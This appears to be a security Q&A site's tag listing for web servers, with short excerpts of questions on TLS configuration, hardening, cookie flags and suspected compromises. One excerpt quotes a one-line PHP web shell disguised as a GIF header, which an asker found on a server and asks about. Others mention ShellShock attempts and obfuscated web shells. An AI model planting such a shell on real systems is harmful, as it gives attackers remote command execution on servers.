A system whose primary function is to deliver web pages on request to clients.

learn more… | top users | synonyms

4
votes
2answers
4k views

How to display friendly notification about no TLS 1.0 support in browser [closed]

A browser that only has TLS 1.0 support won't be able to establish an HTTPS session with a server that has only TLS 1.1 and TLS 1.2 support. This typically results in a cryptic (to a normal user) ...
1
vote
1answer
35 views

How to securely install web applications on untrusted hosts?

In principle, storing data securely on an untrusted server seems to be easy. Just use a strong enough client side encryption. But how to deal with web applications? For example a forum software like ...
-4
votes
0answers
40 views

How to track down a email [on hold]

I'm wondering how I track down a email. I have tried bananatag but I would like something more advanced. I have been scammed and want to get their IP. I also have a web server that I could trick ...
0
votes
2answers
55 views

Server compromised with magento vulnerability, possible rootkit

I am experiencing a security issue with one server that it happens that I manage. I will try to cite all relevant facts as briefly as possible. I am asking for any additional information and course of ...
3
votes
1answer
50 views

Possible issues when one or more cookie not HttpOnly

I have a question related to HttpOnly cookie. Tracking other threads wasn't of much help, hence I am posting my query here to learn if you can foresee any issues with my understanding. There is a ...
5
votes
1answer
453 views

Hardening SSL/TLS on Azure Cloud Service for A+ on Qualys SSL Labs?

We're using this powershell script as our Azure Cloud Service (PaaS) startup script and we're at an A- on the Qualys SSL Labs test Specifically we're losing points for the following reasons: Forward ...
-1
votes
0answers
63 views

Viruses inside images?

I have a website where I show some images. Usual stuff like user-avatar, their uploaded pictures, etc. I was wondering if I need to scan those files before I store them in my server (linux machines). ...
-3
votes
1answer
72 views

insecure HTTP Methods Enabled — how to control? [closed]

Here I am new to insecure HTTP Methods Enabled. The server allows HTTP methods that are considered dangerous. The following methods were enabled: PUT,DELETE Software used: ...
1
vote
2answers
57 views

What is risk of having memcache in public interface?

To what extent a hacker can potentially cause harm to a server? Can you please give few examples? Recently, there was a data breach in my website and I found out this interface was public-facing and ...
1
vote
0answers
33 views

What are the security implications of enabling a SNI-hole on a web server?

A web server (let's say Apache 2.4) implements SNI. It is configured with a 4096 bit SHA384-signed Wildcard Certificate (*.land.org) with a Subject Alternative Name (land.org). The Certificate ...
2
votes
2answers
99 views

Did this ShellShock exploit work?

Looking through my web server logs, I noticed two different ShellShock attacks on my server, both of which generated a HTTP 200 OK response code. They look like this (IP address/date and time ...
1
vote
0answers
25 views

Possible vulnerabilities in private chat application implemented using web broadcasting

I have never used web-sockets but I am working in a PHP framework which has builtin broadcasting facility. This broadcasting use web-sockets technologies named Redis and Pusher. The workflow of this ...
-1
votes
2answers
49 views

webshell on webserver, but what does it contain/do? [closed]

Found this webshell but I can not get the plain text as I have not the secret/password to decode it completely. This is the part where I am missing some information: md5($_POST['_f__f']) Does ...
1
vote
2answers
62 views

Is it worth it to install the same web application on different kind of web servers in a vulnerability assessment?

When doing a web vulnerability assessment with tools such as Acunetix and w3af, is it worth it to install the same web application on multiple types of web servers (Apache, IIS, etc.)? If differences ...
3
votes
3answers
291 views

Error message in Apache logs shows /bin/bash and wget

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there [Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client ...
0
votes
1answer
49 views

3rd Party Authentication protocol

I have a hardware device (H), phone (P) and web server (S). I would like P to be able to send commands to H but only if it is authorized to do so. Permissions are stored on server. Technically I could ...
5
votes
2answers
318 views

Are there any downsides to using Let's Encrypt for a website's SSL certificates?

On the advantages side, I see several benefits to using the Let's Encrypt service (e.g., the service is free, easy to setup, and easy to maintain). I'm wondering what, if any, are the disadvantages to ...
1
vote
1answer
293 views

Is opportunistic encryption support optional for HTTP/2?

I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2. According to the bug report, it looks like it's kinda optional, and an afterthought: ...
1
vote
4answers
260 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
14
votes
5answers
3k views

Are consumer-grade routers any more or less vulnerable? [closed]

I apologize if this is an obvious question, I'm not very familiar with hardware. I am planning on hosting a few personal websites from my home, but I'm concerned about my security. I'm using a fairly ...
3
votes
3answers
2k views

What risks are involved in exposing our home computers over the public internet?

I'm currently running a webserver from home accessible on the public internet via a static IP. What kind of risks are there in doing so? From what I understand, the setup will not allow connections ...
4
votes
2answers
116 views

Is using a self signed certificate safer than a free ssl certificate? [duplicate]

I have a personal website/email server, basically for my own self learning use. I am using CACert (http://www.cacert.org/) for my SSL certificate as advised in a tutorial. I have no clue about ...
2
votes
1answer
351 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...
1
vote
0answers
91 views

What web browsers support ECC vs DSA vs RSA for SSL/TLS?

We are updating our wildcard certificate and see that we have the option to use both RSA or DSA with Symantec (for free), while Digicert offers 3 options for wildcards ECC, DSA and RSA. Is there a ...
0
votes
1answer
70 views

Why is Parallels Plesk running on port 8443 > 1023?

Parallels Plesk, a server administration software package, uses HTTP(S) on port 8443 (ref). I know that ports <1024 are only available for root. This means that if the server Plesk is using for ...
1
vote
2answers
108 views

Securing user supplied files in IIS

I have an Internet website running on IIS/Windows configured as follows: The website is publicly accessible for visitors to browse. A user can login and upload files. The user will be able to see ...
12
votes
6answers
5k views

Index page has been compromised, suspicious files are showing up

My website has been hacked lately and it has been defaced. Now I have weird files, don't know where they coming from. I just want to know, what of these files are harmful or can cause that I get ...
55
votes
4answers
44k views

“Optimal” Web Server SSL Cipher Suite Configuration

Over the last couple of years there have been a number of changes in what would be considered an optimal SSL cipher suite configuration (e.g. the BEAST and CRIME attacks, the weaknesses in RC4) My ...
2
votes
2answers
161 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
1answer
156 views

Why is the HTTP Server header not used by most servers, but the User agent used by most browsers? [closed]

I've read that the Server header would disclose information, and that its use would be bad. The arguments made in that question also apply for the User agent header. So why is it still used, and not a ...
13
votes
4answers
706 views

Custom socket server on the internet running as root

We are writing a custom socket server which runs on a high port. Until recently, it has been running behind a corporate firewall. Now, it has been decided that the server should be taken outside the ...
0
votes
1answer
36 views

In What Ways Can X-Foward-For Header Information Be Used In An Attack

By enabling X-Foward-For on our proxy, we would essentially be advertising our internal IP addresses externally. However, we use a private range. Everything goes through NAT. So, the best anyone would ...
-1
votes
1answer
105 views

How to test if my server is secure? [closed]

I'm using a debian7 VPS for hosting my websites. I have only installed webmin, apache, mysql, SSH and a wordpress website. I always update my packages and wordpress version. What is the best (free) ...
0
votes
1answer
41 views

Are DLLs in URLs executed on users local machine or on the remove machine?

In this question I am referring to DLLs listed in URLs such as this one: http://survey1.sendyouropinions.com/mrIWeb/mrIWeb.dll When this kind of URL is navigated to, is the code in the DLL executed ...
0
votes
1answer
35 views

Sharing sensitive information across servers on visits from the same browser

I have this scenario: Webserver domain A. Generates sensitive information when a request from a browser is received but this information is not disclosed to the browser. Webserver domain B. ...
1
vote
1answer
182 views

Securing a VPS network with a VPN and a DMZ

I've got several VPS boxes (Digital Ocean boxes w/Ubuntu) that I would like to lock down from the outside world. I want to have several private boxes (web servers, db servers, puppet/master boxes ...
0
votes
1answer
71 views

“Transferring” SSL certificate to another person [closed]

Last year, I did a lot of work on a site as a freelancer. We wanted to put the whole thing behind HTTPS, so, for reasons I can't recall but probably expediency-related, I purchased a cert for it under ...
0
votes
1answer
71 views

HttpOnly at logout page [closed]

Firstly, my website can't be accessed without a session established. After a session is established then the server would set cookies. However, if i assess the website without a session, my site will ...
6
votes
1answer
103 views

Secure HTTP headers

In this article, the example shows ... HttpOnly;Secure However, a check on my server response show ... Secure;HttpOnly This may be a stupid question but, does the order matter? thanks
1
vote
1answer
43 views

Running webserver with SSL enabled but not used

We have a web server hosted by a third party running on port 80. They have also enabled SSL but we did not use it. We are just using port 80. Right now, when I do a vulnerability scan, some SSL ...
2
votes
1answer
94 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
2
votes
2answers
65 views

Using a special user to manage web server? [closed]

I just rented a VPS, in order to run a web server. I installed LAMP utilities and everything work. I have actually only 1 user (root). This means everytime I want to connect to my server to modify ...
2
votes
1answer
40 views

Where to start , secure an AWS Ubuntu 14.04 [closed]

Ok so this is probably a basic question but I would like to expand my knowledge. I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a ...
0
votes
1answer
42 views

System backup in case of attack?

My system will be running for a well known insurance company within the UK, it will hold and process a lot of information for claims, brakdowns etc etc. I am worried that the company and the site as ...
7
votes
2answers
3k views

Is server hardening with GRSecurity really necessary on the CentOS 6.3 environment?

I consider myself to be reasonably good with IT, however I am relatively fresh at server and system administration. I am a web developer for my company and I have been charged with setting up and ...
85
votes
15answers
20k views

Apache Server Hardening

What are some best practices, recommendations, required reading for securing an Apache Server?
2
votes
1answer
52 views

How to find out if content on my XAMPP server has been altered

During the development of a site, me and the team decided to develop the site with my computer as a server, with me making my localhost available from outside. I have been using several settings to ...
0
votes
1answer
121 views

Security issues for host system when running a home web server on a VM

I want to run a web server at home(really for the fun and learning of web/network and other security best practices), running a web app that i plan to write with ruby on rails and be able to access it ...
2
votes
1answer
748 views

Worrying httpd access logs [duplicate]

so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd ...
2
votes
1answer
51 views

Secure the config file of a service

I have a service running on a linux box, started with upstart, that runs as user "the_user", it has to read a config file. Having the file owned by root would make things more secure, but would ...